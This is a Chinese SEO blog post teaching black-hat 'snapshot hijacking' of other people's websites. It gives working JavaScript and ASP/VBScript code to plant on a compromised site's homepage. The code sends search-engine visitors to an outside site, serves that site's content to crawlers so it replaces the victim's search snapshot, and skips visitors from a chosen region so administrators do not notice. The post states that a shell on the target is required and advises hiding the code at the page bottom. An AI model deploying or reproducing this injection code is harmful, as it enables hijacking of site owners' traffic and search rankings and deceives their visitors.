新浪博客 | 搜狐博客艾琳SEO小窝为您提供您感兴趣的SEO优化技巧、医疗seo优化知识、网站SEO优化推广,还有时下最流行的微营销案例!
你现在的位置:网站首页 - SEO优化技术丨技巧 - 【艾琳SEO】黑帽seo教程之快照劫持,绝对精华,值得拥有
10月09日

【艾琳SEO】黑帽seo教程之快照劫持,绝对精华,值得拥有

作者 : elin | 分类 : SEO优化技术丨技巧 | 超过 人围观 | 已有 0 人留下了看法

  黑帽seo手法有很多,但要求还要会网络安全,没shell,就别谈黑帽。关于安全教程,自己到百度自行搜索下载学习

  黑帽手法包括很多,如:流量劫持、快照劫持、泛域名、泛ip、变种ip、目录链轮、新闻源劫持、寄生虫程序、get程序、无限页面链轮等等

  那么在这里专门对快照劫持来具体分析一下,以及提供各类实现代码:

  1、劫持流量

  原理:劫持会判断来路搜索引擎,从百度来的时候才会跳转,正常输入网址是打开正常的。好,我们先看一下是怎么实现的,上代码:



  <script LANGUAGE="Javascript">

  var s=document.referrer

  if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 )

  location.href="http://www.acehat.com";

  else

  location.href="indax.php/index.asp/index.html"

  </script>

  代码解释:

  if(s.indexOf(“google”)>0 || s.indexOf(“baidu”)>0 || s.indexOf(“yahoo”)>0 ) 判断搜索引擎来源,如果来源正确,location.href=”http://www.acehat.com”;跳转到黑帽网站。下面的代码是如果否,则打开正常首页。这段代码为js代码。只是一个简单的判断。



  2、快照劫持

  这个相对而言来讲的话,技术含量相对还是比较高的,代码实现也有点复杂

  原理与目的:把别人网站首页的快照变成自己网站,但有一点,当别人输入网站的时候,还是会正常显示该网站,如果发生跳转的话,那就属于网站劫持这一块了。只有通过判断来路之后,才进行跳转,并且把快照变成自己的想要的快照,直接附上代码:(以下是在很对百度、搜狗、谷歌、搜搜,如果需要对其它搜索引擎判断,另行添加即可)

代码:

  <%@ LANGUAGE = VBScript.Encode %><%

  Dim agent

  agent=Request.ServerVariables("http_user_agent")

  If  instr(agent,"Baiduspider") > 0 or instr(agent,"baidubrowser") > 0 or instr(agent,"Sogou") > 0 or instr(agent,"googlebot") > 0 or instr(agent,"Sosospider") > 0 then

  linkurl="http://www.acehat.com" '快照网址

  Function GetBody(Url)

  Dim objXML

  On Error Resume Next

  Set objXML = CreateObject("Microsoft.XMLHTTP")

  With objXML

  .Open "Get", Url, False, "", ""

  .Send

  GetBody = .ResponseBody

  End With

  GetBody=BytesToBstr(GetBody,"GB2312")

  Set objXML = Nothing

  End Function

  Function BytesToBstr(strBody,CodeBase)

  dim objStream

  set objStream = Server.CreateObject("Adodb.Stream")

  objStream.Type = 1

  objStream.Mode =3

  objStream.Open

  objStream.Write strBody

  objStream.Position = 0

  objStream.Type = 2

  objStream.Charset = CodeBase

  BytesToBstr = objStream.ReadText

  objStream.Close

  set objStream = nothing

  End Function

  htm = htm& GetBody(linkurl)

  End if%>

  <script LANGUAGE="Javascript">

  var s=document.referrer

  if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 )

  location.href="http://www.baidu.com";

  </script>

  代码解释:

  前一段判断抓取蜘蛛来源,指向快照抓取网址;后一段代码判断来路,进行跳转到指定网址。其它代码我就不多解释了




  3、根据不同地区来劫持流量

  什么时候能用到呢?

  当我们劫持流量时,担心对方管理员发现,我们可可以针对性的对一些没用的流量进行相应的处理,比如说,北京的吧,代码如下:


  <script src="http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js" charset="GB2312" ></script> <script type=text/javascript> if(remote_ip_info.province =='北京'){这里指定地区 ;这里为空表示不跳转  我们留空表示不跳转 }else{否则 window.location.href="http://www.acehat.com";如果不是上面地区  就跳转到这个网址 } </script>

  代码解释:

  http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js 为识别ip所在的地区;其他代码看注释;



  说了那么多,那具体是怎么实现的呢?这些代码又是如何添加呢?

  关于快照劫持,我们是劫持对方网站首页,那么肯定是放在它的网站首页上,这是毋庸置疑的,前提你是要获取那个站点的shell,才有权限,至于代码放置的位置,我一般是放在底部,顶端也可以,但为了以防万一被发现,还是放在底部为好。


编辑整理:艾琳SEO 更多SEO技巧请关注本站

« 上一篇下一篇 »

已有 0 条评论了

网站分类
最近发表
Tags列表
多说最热文章